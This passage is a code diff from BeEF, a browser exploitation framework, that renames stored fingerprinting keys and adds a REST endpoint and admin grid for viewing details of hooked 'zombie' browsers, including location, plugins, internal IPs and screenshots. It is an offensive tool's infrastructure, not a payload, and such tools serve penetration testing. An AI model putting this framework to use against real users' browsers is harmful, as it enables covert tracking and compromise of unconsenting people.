# get and store the value for hardware.gpu.vendor
|
||||
gpu_vendor = get_param(@data['results'], 'hardware.gpu.vendor')
|
||||
if BeEF::Filters.is_valid_gpu?(gpu_vendor)
|
||||
BD.set(session_id, 'hardware.gpu.vendor', gpu_vendor)
|
||||
else
|
||||
self.err_msg "Invalid value for 'hardware.gpu.vendor' returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store the value for hardware.cpu.arch
|
||||
cpu_arch = get_param(@data['results'], 'hardware.cpu.arch')
|
||||
if BeEF::Filters.is_valid_cpu?(cpu_arch)
|
||||
BD.set(session_id, 'CpuArch', cpu_arch)
|
||||
BD.set(session_id, 'hardware.cpu.arch', cpu_arch)
|
||||
else
|
||||
self.err_msg "Invalid value for CpuArch returned from the hook browser's initial connection."
|
||||
self.err_msg "Invalid value for 'hardware.cpu.arch' returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store the value for CpuCores
|
||||
cpu_cores = get_param(@data['results'], 'CpuCores')
|
||||
# get and store the value for hardware.cpu.cores
|
||||
cpu_cores = get_param(@data['results'], 'hardware.cpu.cores')
|
||||
if BeEF::Filters.alphanums_only?(cpu_cores)
|
||||
BD.set(session_id, 'CpuCores', cpu_cores)
|
||||
BD.set(session_id, 'hardware.cpu.cores', cpu_cores)
|
||||
else
|
||||
self.err_msg "Invalid value for CpuCores returned from the hook browser's initial connection."
|
||||
self.err_msg "Invalid value for 'hardware.cpu.cores' returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store the value for TouchEnabled
|
||||
touch_enabled = get_param(@data['results'], 'TouchEnabled')
|
||||
if BeEF::Filters.is_valid_yes_no?(touch_enabled)
|
||||
BD.set(session_id, 'TouchEnabled', touch_enabled)
|
||||
# get and store the value for hardware.battery.level
|
||||
battery_level = get_param(@data['results'], 'hardware.battery.level')
|
||||
if battery_level == 'unknown' || battery_level =~ /\A[\d\.]+%\z/
|
||||
BD.set(session_id, 'hardware.battery.level', battery_level)
|
||||
else
|
||||
self.err_msg "Invalid value for TouchEnabled returned from the hook browser's initial connection."
|
||||
self.err_msg "Invalid value for 'hardware.battery.level' returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store the value for hardware.screen.touchenabled
|
||||
touch_enabled = get_param(@data['results'], 'hardware.screen.touchenabled')
|
||||
if BeEF::Filters.is_valid_yes_no?(touch_enabled)
|
||||
BD.set(session_id, 'hardware.screen.touchenabled', touch_enabled)
|
||||
else
|
||||
self.err_msg "Invalid value for hardware.screen.touchenabled returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
if config.get('beef.integration.phishing_frenzy.enable')
|
||||
@@ -397,7 +495,7 @@ module BeEF
|
||||
# add localhost as network host
|
||||
if config.get('beef.extension.network.enable')
|
||||
print_debug("Hooked browser has network interface 127.0.0.1")
|
||||
BeEF::Core::Models::NetworkHost.add(:hooked_browser_id => session_id, :ip => '127.0.0.1', :hostname => 'localhost', :os => BeEF::Core::Models::BrowserDetails.get(session_id, 'OsName'))
|
||||
BeEF::Core::Models::NetworkHost.add(:hooked_browser_id => session_id, :ip => '127.0.0.1', :hostname => 'localhost', :os => BeEF::Core::Models::BrowserDetails.get(session_id, 'host.os.name'))
|
||||
end
|
||||
|
||||
# check if any ARE rules shall be triggered only if the channel is != WebSockets (XHR). If the channel
|
||||
|
||||
@@ -48,6 +48,7 @@ module Models
|
||||
else
|
||||
# update the browser details key/value
|
||||
result = browserdetails.update(:detail_value => detail_value || '')
|
||||
print_debug "Browser has updated '#{detail_key}' to '#{detail_value}'"
|
||||
end
|
||||
|
||||
# if the attempt to save the browser details fails return a bad request
|
||||
|
||||
@@ -115,10 +115,10 @@ module BeEF
|
||||
next
|
||||
end
|
||||
|
||||
browser_name = BeEF::Core::Models::BrowserDetails.get(hb_session, 'BrowserName')
|
||||
browser_version = BeEF::Core::Models::BrowserDetails.get(hb_session, 'BrowserVersion')
|
||||
os_name = BeEF::Core::Models::BrowserDetails.get(hb_session, 'OsName')
|
||||
os_version = BeEF::Core::Models::BrowserDetails.get(hb_session, 'OsVersion')
|
||||
browser_name = BeEF::Core::Models::BrowserDetails.get(hb_session, 'browser.name')
|
||||
browser_version = BeEF::Core::Models::BrowserDetails.get(hb_session, 'browser.version')
|
||||
os_name = BeEF::Core::Models::BrowserDetails.get(hb_session, 'host.os.name')
|
||||
os_version = BeEF::Core::Models::BrowserDetails.get(hb_session, 'host.os.version')
|
||||
BeEF::Core::AutorunEngine::Engine.instance.run(hooked_browser.id, browser_name, browser_version, os_name, os_version)
|
||||
|
||||
next
|
||||
|
||||
@@ -13,6 +13,12 @@ module BeEF
|
||||
end
|
||||
end
|
||||
|
||||
module RegisterBrowserDetailsHandler
|
||||
def self.mount_handler(server)
|
||||
server.mount('/api/browserdetails', BeEF::Core::Rest::BrowserDetails.new)
|
||||
end
|
||||
end
|
||||
|
||||
module RegisterModulesHandler
|
||||
def self.mount_handler(server)
|
||||
server.mount('/api/modules', BeEF::Core::Rest::Modules.new)
|
||||
@@ -50,6 +56,7 @@ module BeEF
|
||||
end
|
||||
|
||||
BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterHooksHandler, BeEF::API::Server, 'mount_handler')
|
||||
BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterBrowserDetailsHandler, BeEF::API::Server, 'mount_handler')
|
||||
BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterModulesHandler, BeEF::API::Server, 'mount_handler')
|
||||
BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterCategoriesHandler, BeEF::API::Server, 'mount_handler')
|
||||
BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterLogsHandler, BeEF::API::Server, 'mount_handler')
|
||||
|
||||
@@ -59,10 +59,10 @@ module BeEF
|
||||
if online_hooks != nil
|
||||
online_hooks.each do |hb|
|
||||
hb_details = BeEF::Core::Models::BrowserDetails
|
||||
browser_name = hb_details.get(hb.session, 'BrowserName')
|
||||
browser_version = hb_details.get(hb.session, 'BrowserVersion')
|
||||
os_name = hb_details.get(hb.session, 'OsName')
|
||||
os_version = hb_details.get(hb.session, 'OsVersion')
|
||||
browser_name = hb_details.get(hb.session, 'browser.name')
|
||||
browser_version = hb_details.get(hb.session, 'browser.version')
|
||||
os_name = hb_details.get(hb.session, 'host.os.name')
|
||||
os_version = hb_details.get(hb.session, 'host.os.version')
|
||||
|
||||
match_rules = are.match(browser_name, browser_version, os_name, os_version, rule_id)
|
||||
are.trigger(match_rules, hb.id) if match_rules.length > 0
|
||||
@@ -130,4 +130,4 @@ module BeEF
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
48
core/main/rest/handlers/browserdetails.rb
Normal file
48
core/main/rest/handlers/browserdetails.rb
Normal file
@@ -0,0 +1,48 @@
|
||||
#
|
||||
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
module BeEF
|
||||
module Core
|
||||
module Rest
|
||||
class BrowserDetails < BeEF::Core::Router::Router
|
||||
|
||||
config = BeEF::Core::Configuration.instance
|
||||
|
||||
before do
|
||||
error 401 unless params[:token] == config.get('beef.api_token')
|
||||
halt 401 if not BeEF::Core::Rest.permitted_source?(request.ip)
|
||||
headers 'Content-Type' => 'application/json; charset=UTF-8',
|
||||
'Pragma' => 'no-cache',
|
||||
'Cache-Control' => 'no-cache',
|
||||
'Expires' => '0'
|
||||
end
|
||||
|
||||
#
|
||||
# @note Get all browser details for the specified session
|
||||
#
|
||||
get '/:session' do
|
||||
hb = BeEF::Core::Models::HookedBrowser.first(:session => params[:session])
|
||||
error 404 if hb.nil?
|
||||
|
||||
details = BeEF::Core::Models::BrowserDetails.all(:session_id => hb.session)
|
||||
error 404 if details.nil?
|
||||
|
||||
result = []
|
||||
details.each do |d|
|
||||
result << {key: d[:detail_key], value: d[:detail_value] }
|
||||
end
|
||||
|
||||
output = {
|
||||
'count' => result.length,
|
||||
'details' => result
|
||||
}
|
||||
|
||||
output.to_json
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -143,12 +143,12 @@ module BeEF
|
||||
hb = BeEF::Core::Models::HookedBrowser.first(:session => params[:session])
|
||||
error 401 unless hb != nil
|
||||
|
||||
BeEF::Core::Models::BrowserDetails.first(:session_id => hb.session, :detail_key => 'OsName').destroy
|
||||
BeEF::Core::Models::BrowserDetails.first(:session_id => hb.session, :detail_key => 'OsVersion').destroy
|
||||
BeEF::Core::Models::BrowserDetails.first(:session_id => hb.session, :detail_key => 'host.os.name').destroy
|
||||
BeEF::Core::Models::BrowserDetails.first(:session_id => hb.session, :detail_key => 'host.os.version').destroy
|
||||
#BeEF::Core::Models::BrowserDetails.first(:session_id => hb.session, :detail_key => 'Arch').destroy
|
||||
|
||||
BeEF::Core::Models::BrowserDetails.new(:session_id => hb.session, :detail_key => 'OsName', :detail_value => os).save
|
||||
BeEF::Core::Models::BrowserDetails.new(:session_id => hb.session, :detail_key => 'OsVersion', :detail_value => os_version).save
|
||||
BeEF::Core::Models::BrowserDetails.new(:session_id => hb.session, :detail_key => 'host.os.name', :detail_value => os).save
|
||||
BeEF::Core::Models::BrowserDetails.new(:session_id => hb.session, :detail_key => 'host.os.version', :detail_value => os_version).save
|
||||
BeEF::Core::Models::BrowserDetails.new(:session_id => hb.session, :detail_key => 'Arch', :detail_value => arch).save
|
||||
|
||||
# TODO if there where any ARE rules defined for this hooked browser,
|
||||
@@ -172,22 +172,22 @@ module BeEF
|
||||
{
|
||||
'id' => hb.id,
|
||||
'session' => hb.session,
|
||||
'name' => details.get(hb.session, 'BrowserName'),
|
||||
'version' => details.get(hb.session, 'BrowserVersion'),
|
||||
'os' => details.get(hb.session, 'OsName'),
|
||||
'os_version' => details.get(hb.session, 'OsVersion'),
|
||||
'platform' => details.get(hb.session, 'BrowserPlatform'),
|
||||
'hardware' => details.get(hb.session, 'Hardware'),
|
||||
'name' => details.get(hb.session, 'browser.name'),
|
||||
'version' => details.get(hb.session, 'browser.version'),
|
||||
'platform' => details.get(hb.session, 'browser.platform'),
|
||||
'os' => details.get(hb.session, 'host.os.name'),
|
||||
'os_version' => details.get(hb.session, 'host.os.version'),
|
||||
'hardware' => details.get(hb.session, 'hardware.type'),
|
||||
'ip' => hb.ip,
|
||||
'domain' => details.get(hb.session, 'HostName'),
|
||||
'domain' => details.get(hb.session, 'browser.window.hostname'),
|
||||
'port' => hb.port.to_s,
|
||||
'page_uri' => details.get(hb.session, 'PageURI'),
|
||||
'page_uri' => details.get(hb.session, 'browser.window.uri'),
|
||||
'firstseen' => hb.firstseen,
|
||||
'lastseen' => hb.lastseen,
|
||||
'date_stamp' => details.get(hb.session, 'DateStamp'),
|
||||
'city' => details.get(hb.session, 'LocationCity'),
|
||||
'country' => details.get(hb.session, 'LocationCountry'),
|
||||
'country_code' => details.get(hb.session, 'LocationCountryIsoCode'),
|
||||
'date_stamp' => details.get(hb.session, 'browser.date.datestamp'),
|
||||
'city' => details.get(hb.session, 'location.city'),
|
||||
'country' => details.get(hb.session, 'location.country'),
|
||||
'country_code' => details.get(hb.session, 'location.country.isocode'),
|
||||
}
|
||||
end
|
||||
|
||||
@@ -199,9 +199,9 @@ module BeEF
|
||||
# TODO jQuery.dataTables needs fixed array indexes, add emptry string if a value is blank
|
||||
|
||||
pfuid = details.get(hb.session, 'PhishingFrenzyUID') != nil ? details.get(hb.session, 'PhishingFrenzyUID') : 'n/a'
|
||||
bname = details.get(hb.session, 'BrowserName') != nil ? details.get(hb.session, 'BrowserName') : 'n/a'
|
||||
bversion = details.get(hb.session, 'BrowserVersion') != nil ? details.get(hb.session, 'BrowserVersion') : 'n/a'
|
||||
bplugins = details.get(hb.session, 'BrowserPlugins') != nil ? details.get(hb.session, 'BrowserPlugins') : 'n/a'
|
||||
bname = details.get(hb.session, 'browser.name') != nil ? details.get(hb.session, 'browser.name') : 'n/a'
|
||||
bversion = details.get(hb.session, 'browser.version') != nil ? details.get(hb.session, 'browser.version') : 'n/a'
|
||||
bplugins = details.get(hb.session, 'browser.plugins') != nil ? details.get(hb.session, 'browser.plugins') : 'n/a'
|
||||
|
||||
hooked_browsers << [
|
||||
hb.id,
|
||||
@@ -209,14 +209,14 @@ module BeEF
|
||||
pfuid,
|
||||
bname,
|
||||
bversion,
|
||||
details.get(hb.session, 'OsName'),
|
||||
details.get(hb.session, 'BrowserPlatform'),
|
||||
details.get(hb.session, 'BrowserLanguage'),
|
||||
details.get(hb.session, 'host.os.name'),
|
||||
details.get(hb.session, 'browser.platform'),
|
||||
details.get(hb.session, 'browser.language'),
|
||||
bplugins,
|
||||
details.get(hb.session, 'LocationCity'),
|
||||
details.get(hb.session, 'LocationCountry'),
|
||||
details.get(hb.session, 'LocationLatitude'),
|
||||
details.get(hb.session, 'LocationLongitude')
|
||||
details.get(hb.session, 'location.city'),
|
||||
details.get(hb.session, 'location.country'),
|
||||
details.get(hb.session, 'location.latitude'),
|
||||
details.get(hb.session, 'location.longitude')
|
||||
]
|
||||
end
|
||||
hooked_browsers
|
||||
|
||||
@@ -72,6 +72,7 @@ module API
|
||||
ui/panel/tabs/ZombieTabAutorun.js
|
||||
ui/panel/PanelViewer.js
|
||||
ui/panel/LogsDataGrid.js
|
||||
ui/panel/BrowserDetailsDataGrid.js
|
||||
ui/panel/ZombieDataGrid.js
|
||||
ui/panel/MainPanel.js
|
||||
ui/panel/ZombieTab.js
|
||||
|
||||
@@ -24,7 +24,6 @@ class Modules < BeEF::Extension::AdminUI::HttpController
|
||||
'/select/commandmodule.json' => method(:select_command_module),
|
||||
'/select/command.json' => method(:select_command),
|
||||
'/select/command_results.json' => method(:select_command_results),
|
||||
'/select/zombie_summary.json' => method(:select_zombie_summary),
|
||||
'/commandmodule/commands.json' => method(:select_command_module_commands),
|
||||
'/commandmodule/new' => method(:attach_command_module),
|
||||
'/commandmodule/dynamicnew' => method(:attach_dynamic_command_module),
|
||||
@@ -46,135 +45,6 @@ class Modules < BeEF::Extension::AdminUI::HttpController
|
||||
}.to_json
|
||||
end
|
||||
|
||||
# Returns a JSON array containing the summary for a selected zombie.
|
||||
def select_zombie_summary
|
||||
|
||||
# get the zombie
|
||||
zombie_session = @params['zombie_session'] || nil
|
||||
(print_error "Zombie session is nil";return) if zombie_session.nil?
|
||||
zombie = BeEF::Core::Models::HookedBrowser.first(:session => zombie_session)
|
||||
(print_error "Zombie is nil";return) if zombie.nil?
|
||||
|
||||
# init the summary grid
|
||||
summary_grid_hash = {
|
||||
'success' => 'true',
|
||||
'results' => []
|
||||
}
|
||||
|
||||
# zombie properties
|
||||
# in the form of: category, UI label, value
|
||||
zombie_properties = [
|
||||
|
||||
# Browser
|
||||
['Browser', 'Browser Name', 'BrowserName'],
|
||||
['Browser', 'Browser Version', 'BrowserVersion'],
|
||||
['Browser', 'Browser UA String', 'BrowserReportedName'],
|
||||
['Browser', 'Browser Language', 'BrowserLanguage'],
|
||||
['Browser', 'Browser Platform', 'BrowserPlatform'],
|
||||
['Browser', 'Browser Plugins', 'BrowserPlugins'],
|
||||
['Browser', 'Using Proxy', 'UsingProxy'],
|
||||
['Browser', 'Proxy Client', 'ProxyClient'],
|
||||
['Browser', 'Proxy Server', 'ProxyServer'],
|
||||
['Browser', 'Window Size', 'WindowSize'],
|
||||
|
||||
# Browser Components
|
||||
['Browser Components', 'Flash', 'HasFlash'],
|
||||
['Browser Components', 'Java', 'JavaEnabled'],
|
||||
['Browser Components', 'VBScript', 'VBScriptEnabled'],
|
||||
['Browser Components', 'PhoneGap', 'HasPhonegap'],
|
||||
['Browser Components', 'Google Gears', 'HasGoogleGears'],
|
||||
['Browser Components', 'Web Sockets', 'HasWebSocket'],
|
||||
['Browser Components', 'Web Workers', 'HasWebWorker'],
|
||||
['Browser Components', 'WebGL', 'HasWebGL'],
|
||||
['Browser Components', 'QuickTime', 'HasQuickTime'],
|
||||
['Browser Components', 'RealPlayer', 'HasRealPlayer'],
|
||||
['Browser Components', 'Windows Media Player','HasWMP'],
|
||||
['Browser Components', 'VLC', 'HasVLC'],
|
||||
['Browser Components', 'WebRTC', 'HasWebRTC'],
|
||||
['Browser Components', 'ActiveX', 'HasActiveX'],
|
||||
['Browser Components', 'Session Cookies', 'hasSessionCookies'],
|
||||
['Browser Components', 'Persistent Cookies', 'hasPersistentCookies'],
|
||||
['Browser Components', 'Unity', 'HasUnity'],
|
||||
['Browser Components', 'Foxit', 'HasFoxit'],
|
||||
|
||||
# Geolocation
|
||||
['Location', 'City', 'LocationCity'],
|
||||
['Location', 'Country', 'LocationCountry'],
|
||||
['Location', 'Country Code', 'LocationCountryIsoCode'],
|
||||
['Location', 'Registered Country', 'LocationRegisteredCountry'],
|
||||
['Location', 'Registered Country Code', 'LocationRegisteredCountryIsoCode'],
|
||||
['Location', 'Continent', 'LocationContinent'],
|
||||
['Location', 'Continent Code', 'LocationContinentCode'],
|
||||
['Location', 'Latitude', 'LocationLatitude'],
|
||||
['Location', 'Longitude', 'LocationLongitude'],
|
||||
['Location', 'Time Zone', 'LocationTimeZone'],
|
||||
|
||||
# Hooked Page
|
||||
['Hooked Page', 'Page Title', 'PageTitle'],
|
||||
['Hooked Page', 'Page URI', 'PageURI'],
|
||||
['Hooked Page', 'Page Referrer', 'PageReferrer'],
|
||||
['Hooked Page', 'Host Name/IP', 'HostName'],
|
||||
['Hooked Page', 'Cookies', 'Cookies'],
|
||||
|
||||
# Host
|
||||
['Host', 'Host Name/IP', 'IP'],
|
||||
['Host', 'Date', 'DateStamp'],
|
||||
['Host', 'Operating System', 'OsName'],
|
||||
['Host', 'Hardware', 'Hardware'],
|
||||
['Host', 'CPU Arch', 'CpuArch'],
|
||||
['Host', 'CPU Cores', 'CpuCores'],
|
||||
['Host', 'Default Browser', 'DefaultBrowser'],
|
||||
['Host', 'Screen Size', 'ScreenSize'],
|
||||
['Host', 'Touch Screen', 'TouchEnabled']
|
||||
]
|
||||
|
||||
# set and add the return values for each browser property
|
||||
# in the form of: category, UI label, value
|
||||
zombie_properties.each do |p|
|
||||
|
||||
case p[2]
|
||||
when "BrowserName"
|
||||
data = BeEF::Core::Constants::Browsers.friendly_name(BD.get(zombie_session, p[2]))
|
||||
|
||||
when "ScreenSize"
|
||||
screen_size = BD.get(zombie_session, "ScreenSize")
|
||||
if screen_size.nil?
|
||||
data = "Unknown"
|
||||
else
|
||||
screen_size_hash = JSON.parse(screen_size.gsub(/\"\=\>/, '":')) # tidy up the string for JSON
|
||||
width = screen_size_hash['width']
|
||||
height = screen_size_hash['height']
|
||||
cdepth = screen_size_hash['colordepth']
|
||||
data = "Width: #{width}, Height: #{height}, Colour Depth: #{cdepth}"
|
||||
end
|
||||
when "WindowSize"
|
||||
window_size = BD.get(zombie_session, "WindowSize")
|
||||
if window_size.nil?
|
||||
data = "Unknown"
|
||||
else
|
||||
window_size_hash = JSON.parse(window_size.gsub(/\"\=\>/, '":')) # tidy up the string for JSON
|
||||
width = window_size_hash['width']
|
||||
height = window_size_hash['height']
|
||||
data = "Width: #{width}, Height: #{height}"
|
||||
end
|
||||
else
|
||||
data = BD.get(zombie_session, p[2])
|
||||
end
|
||||
|
||||
# add property to summary hash
|
||||
if not data.nil?
|
||||
summary_grid_hash['results'].push({
|
||||
'category' => p[0],
|
||||
'data' => { p[1] => CGI.escapeHTML("#{data}") },
|
||||
'from' => 'Initialization'
|
||||
})
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@body = summary_grid_hash.to_json
|
||||
end
|
||||
|
||||
# Returns the list of all command_modules in a JSON format
|
||||
def select_all_command_modules
|
||||
@body = command_modules2json(BeEF::Modules.get_enabled.keys)
|
||||
@@ -205,7 +75,11 @@ class Modules < BeEF::Extension::AdminUI::HttpController
|
||||
if hook_session_id == nil
|
||||
return BeEF::Core::Constants::CommandModule::VERIFIED_UNKNOWN
|
||||
end
|
||||
return BeEF::Module.support(mod, {'browser' => BD.get(hook_session_id, 'BrowserName'), 'ver' => BD.get(hook_session_id, 'BrowserVersion'), 'os' => [BD.get(hook_session_id, 'OsName')]})
|
||||
return BeEF::Module.support(mod, {
|
||||
'browser' => BD.get(hook_session_id, 'browser.name'),
|
||||
'ver' => BD.get(hook_session_id, 'browser.version'),
|
||||
'os' => [BD.get(hook_session_id, 'host.os.name')]
|
||||
})
|
||||
end
|
||||
|
||||
# If we're adding a leaf to the command tree, and it's in a subfolder, we need to recurse
|
||||
|
||||
@@ -0,0 +1,97 @@
|
||||
//
|
||||
// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
|
||||
BrowserDetailsDataGrid = function(url, page, base) {
|
||||
this.page = page;
|
||||
this.url = url;
|
||||
this.base = typeof(base) != 'undefined' ? base : {};
|
||||
|
||||
// RESTful API token
|
||||
var token = BeefWUI.get_rest_token();
|
||||
|
||||
this.store = new Ext.ux.data.PagingJsonStore({
|
||||
root: 'details',
|
||||
autoDestroy: true,
|
||||
autoLoad: true,
|
||||
proxy: new Ext.data.HttpProxy({
|
||||
method: 'GET',
|
||||
url: url + '?token=' + token
|
||||
}),
|
||||
storeId: 'details-store',
|
||||
baseParams: this.base,
|
||||
idProperty: 'id',
|
||||
fields: ['key','value', 'source'],
|
||||
totalProperty: 'count',
|
||||
remoteSort: false,
|
||||
sortInfo: {field: "key", direction: "ASC"}
|
||||
});
|
||||
|
||||
this.bbar = new Ext.PagingToolbar({
|
||||
pageSize: this.page,
|
||||
store: this.store,
|
||||
displayInfo: true,
|
||||
displayMsg: 'Displaying zombie browser details {0} - {1} of {2}',
|
||||
emptyMsg: 'No zombie browser data to display'
|
||||
});
|
||||
|
||||
this.columns = [{
|
||||
id: 'details-key',
|
||||
header: 'Key',
|
||||
dataIndex: 'key',
|
||||
sortable: true,
|
||||
width: 40,
|
||||
renderer: function(value) {
|
||||
return $jEncoder.encoder.encodeForHTML(value);
|
||||
}
|
||||
}, {
|
||||
id: 'details-value',
|
||||
header: "Value",
|
||||
dataIndex: 'value',
|
||||
sortable: true,
|
||||
width: 60,
|
||||
renderer: function(value) {
|
||||
return $jEncoder.encoder.encodeForHTML(value);
|
||||
}
|
||||
},
|
||||
|
||||
];
|
||||
|
||||
BrowserDetailsDataGrid.superclass.constructor.call(this, {
|
||||
region: 'center',
|
||||
id: 'topic-grid',
|
||||
loadMask: {msg:'Loading Feed...'},
|
||||
|
||||
sm: new Ext.grid.RowSelectionModel({
|
||||
singleSelect: true
|
||||
}),
|
||||
|
||||
viewConfig: {
|
||||
forceFit: true
|
||||
},
|
||||
listeners: {
|
||||
afterrender: function(datagrid) {
|
||||
datagrid.store.reload({params:{start:0, limit:datagrid.page, sort:"key", dir:"ASC"}});
|
||||
},
|
||||
|
||||
rowclick: function(grid, rowIndex) {
|
||||
var r = grid.getStore().getAt(rowIndex).data;
|
||||
},
|
||||
containercontextmenu: function(view, e) {
|
||||
e.preventDefault();
|
||||
},
|
||||
}
|
||||
}) // BrowserDetailsDataGrid.superclass
|
||||
}
|
||||
|
||||
Ext.extend(BrowserDetailsDataGrid, Ext.grid.GridPanel, {});
|
||||
|
||||
Ext.override(Ext.PagingToolbar, {
|
||||
doRefresh: function() {
|
||||
delete this.store.lastParams;
|
||||
this.doLoad(this.cursor);
|
||||
}
|
||||
});
|
||||
@@ -8,83 +8,21 @@
|
||||
* The main Tab panel for the selected zombie.
|
||||
*/
|
||||
ZombieTab_DetailsTab = function(zombie) {
|
||||
|
||||
var store_summary = new Ext.data.GroupingStore({
|
||||
url: '<%= @base_path %>/modules/select/zombie_summary.json',
|
||||
baseParams: {zombie_session: zombie.session} ,
|
||||
reader: new Ext.data.JsonReader({
|
||||
root: 'results'
|
||||
},[
|
||||
{name: 'data'},
|
||||
{name: 'category'},
|
||||
{name: 'from'}
|
||||
]),
|
||||
|
||||
autoLoad: false,
|
||||
sortInfo:{field: 'from', direction: "ASC"},
|
||||
groupField:'category'
|
||||
});
|
||||
|
||||
var grid_summary = new Ext.grid.GridPanel({
|
||||
store: store_summary,
|
||||
border: false,
|
||||
region: 'center',
|
||||
layout: 'fit',
|
||||
hideHeaders: true,
|
||||
loadMask: {msg:'Loading Information...'},
|
||||
|
||||
view: new Ext.grid.GroupingView({
|
||||
forceFit:true,
|
||||
groupTextTpl: '{text} ({[values.rs.length]} {[values.rs.length > 1 ? "Items" : "Item"]})',
|
||||
emptyText: "No Record found: this tab gets populated after you've ran some command modules.",
|
||||
enableRowBody:true
|
||||
}),
|
||||
|
||||
viewConfig: {
|
||||
forceFit:true
|
||||
},
|
||||
|
||||
columns:[
|
||||
{
|
||||
header: 'information',
|
||||
dataIndex: 'data',
|
||||
renderer: function(value, p, record) {
|
||||
html = '';
|
||||
|
||||
for(index in value) {
|
||||
result = value[index];
|
||||
index = index.toString().replace('_', ' ');
|
||||
|
||||
html += String.format('<b>{0}</b>: {1}<br>', index, $jEncoder.encoder.encodeForHTML(result));
|
||||
}
|
||||
|
||||
return html;
|
||||
}
|
||||
},
|
||||
|
||||
{header: 'command_module', dataIndex:'from', width: 25, renderer: function(value){return $jEncoder.encoder.encodeForHTML(value);}},
|
||||
{header: 'Category', dataIndex:'category', hidden: true, renderer: function(value){return $jEncoder.encoder.encodeForHTML(value);}}
|
||||
]
|
||||
});
|
||||
|
||||
ZombieTab_DetailsTab.superclass.constructor.call(this, {
|
||||
id: 'zombie-details-tab'+zombie.session,
|
||||
layout: 'fit',
|
||||
title: 'Details',
|
||||
|
||||
items: {
|
||||
layout:'border',
|
||||
border: false,
|
||||
items:[grid_summary]
|
||||
},
|
||||
|
||||
listeners:{
|
||||
activate : function(maintab){
|
||||
maintab.items.items[0].items.items[0].store.reload();
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
var zombieDetails = new BrowserDetailsDataGrid('/api/browserdetails/' + zombie.session, 30);
|
||||
zombieDetails.border = false;
|
||||
|
||||
ZombieTab_DetailsTab.superclass.constructor.call(this, {
|
||||
id: 'browser-details-tab' + zombie.session,
|
||||
layout: 'fit',
|
||||
title: 'Details',
|
||||
items: {
|
||||
layout: 'border',
|
||||
border: false,
|
||||
items:[zombieDetails]
|
||||
}
|
||||
});
|
||||
};
|
||||
|
||||
Ext.extend(ZombieTab_DetailsTab, Ext.Panel, {});
|
||||
Ext.extend(ZombieTab_DetailsTab, Ext.Panel, {} );
|
||||
|
||||
|
||||
@@ -9,9 +9,9 @@ class Detect_activex < BeEF::Core::Command
|
||||
content = {}
|
||||
content['activex'] = @datastore['activex']
|
||||
save content
|
||||
if @datastore['results'] =~ /^activex=(Yes|No)/
|
||||
bd = BeEF::Core::Models::BrowserDetails.set(@datastore['beefhook'], 'HasActiveX', $1)
|
||||
end
|
||||
if @datastore['results'] =~ /^activex=(Yes|No)/
|
||||
bd = BeEF::Core::Models::BrowserDetails.set(@datastore['beefhook'], 'browser.capabilities.activex', $1)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -5,10 +5,13 @@
|
||||
#
|
||||
class Detect_vlc < BeEF::Core::Command
|
||||
|
||||
def post_execute
|
||||
content = {}
|
||||
content['vlc'] = @datastore['vlc']
|
||||
save content
|
||||
end
|
||||
def post_execute
|
||||
content = {}
|
||||
content['vlc'] = @datastore['vlc']
|
||||
save content
|
||||
if @datastore['results'] =~ /^vlc=(Yes|No)/
|
||||
bd = BeEF::Core::Models::BrowserDetails.set(@datastore['beefhook'], 'browser.capabilities.vlc', $1)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -9,9 +9,9 @@ class Detect_wmp < BeEF::Core::Command
|
||||
content = {}
|
||||
content['wmp'] = @datastore['wmp']
|
||||
save content
|
||||
if @datastore['results'] =~ /^wmp=(Yes|No)/
|
||||
bd = BeEF::Core::Models::BrowserDetails.set(@datastore['beefhook'], 'HasWMP', $1)
|
||||
end
|
||||
if @datastore['results'] =~ /^wmp=(Yes|No)/
|
||||
bd = BeEF::Core::Models::BrowserDetails.set(@datastore['beefhook'], 'browser.capabilities.wmp', $1)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -24,7 +24,7 @@ class Spyder_eye < BeEF::Core::Command
|
||||
# save screenshot file
|
||||
begin
|
||||
timestamp = Time.now.localtime.strftime("%Y-%m-%d_%H-%M-%S")
|
||||
ip = BeEF::Core::Models::BrowserDetails.get(session_id, 'IP')
|
||||
ip = BeEF::Core::Models::BrowserDetails.get(session_id, 'browser.ipaddress')
|
||||
filename = "#{$home_dir}/screenshot_#{ip}_-_#{timestamp}_#{@datastore['cid']}.png"
|
||||
File.open(filename, 'wb') do |file|
|
||||
data = @datastore['results'].gsub(/^image=data:image\/(png|jpg);base64,/, "")
|
||||
|
||||
@@ -17,7 +17,7 @@ class Get_internal_ip_webrtc < BeEF::Core::Command
|
||||
if @datastore['results'] =~ /IP is ([\d\.,]+)/
|
||||
ips = $1.to_s.split(/,/)
|
||||
if !ips.nil? && !ips.empty?
|
||||
os = BeEF::Core::Models::BrowserDetails.get(session_id, 'OsName')
|
||||
os = BeEF::Core::Models::BrowserDetails.get(session_id, 'host.os.name')
|
||||
ips.uniq.each do |ip|
|
||||
next unless ip =~ /^[\d\.]+$/
|
||||
next if ip =~ /^0\.0\.0\.0$/
|
||||
|
||||
@@ -77,7 +77,7 @@ hooks.each do |hook|
|
||||
print_status "Retrieving details for browser [id: #{hook['id']}]"
|
||||
details = @api.browser_details(hook['session'])
|
||||
